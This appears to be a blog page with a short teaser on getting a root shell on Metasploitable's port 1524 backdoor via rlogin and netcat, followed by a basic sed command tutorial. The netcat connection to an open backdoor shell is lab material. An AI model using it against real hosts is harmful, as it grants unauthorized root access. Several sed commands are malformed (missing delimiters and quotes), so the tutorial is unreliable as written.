Skip to main content

Explot Metasploitable Root shell

                             Metasploitable Root shell 1524/tcp             open                 shell              Metasploitable root shell This was a curiousity… My first attempt was to attempt using rlogin to connect to the port, which did not appear to work correctly, though did seem to work enough to return part of a prompt to the user: root@kali:~# rlogin -p 1524 target oot@metasploitable:/# My next approach was to attempt a simple netcat connection to the host, which ended up being successful: root@kali:~# nc -v target 1524 root@metasploitable:/# id              ...

SED commad In Linux O.S

                                        SED command In Linux O.S

SED command in UNIX is stands for stream editor and it can perform lot of function on file like searching, find and replace, insertion or deletion. Though most common use of SED command in UNIX is for substitution or for find and replace.


  • Replacing or substituting string

                    sed 's/unix/linux/' a.txt




  • Replacing existing with new characters
             sed 's/<old word><new word>' <txt file>
                       or

             cat <txt file> | sed 's/<old word><new word>'


  • Numbering of txt file and stream edit by sed
                       cat -n <txt file> | sed 's/<old word><new word>'


  • if you want to replace all the message or word in txt file
         sed 's/<old word>/<new word>/g' <txt file>


  • change all first-word according to need of a txt file
          sed 's/^/<new word' <txt file>

                   or

  •     if you want to change in all the line
                sed 's/^/<new word/g' <txt file>



  • when you want to add new word end of each lines
            sed 's/$/<new word want to add> <txt file>
  • When need each line spacing means after every line give one line space 
            sed G a.txt

  • print only selected lines 
          sed -n <selected lines >p <txt file>




  • if you want to delete lines according to need
          sed <no of line>d <txt file>


  • if you want to perform multiple operation user -e synatx
          sed -e '2d' -e 'G'  <txt file>



  • 2 line or more than one line space        


  • search word and change according to you i am changing it to uppercase
         sed 's/<word want to search >/\U&/g' <txt file>

  • use ig for ignoring in same command 





                                                                                                Written By Sanjay Kumar
                                   
                                                                                                       https://www.instagram.com/sanjayer111/
                                                                                                       https://www.facebook.com/mang786
                                                                                                      https://www.linkedin.com/in/sanjaykumar111/

Comments